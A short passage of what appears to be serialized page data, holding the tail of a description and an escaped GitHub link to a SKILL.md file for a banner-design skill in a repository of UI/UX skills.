skills.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fbanner-design\u002FSKILL.md",[],[]]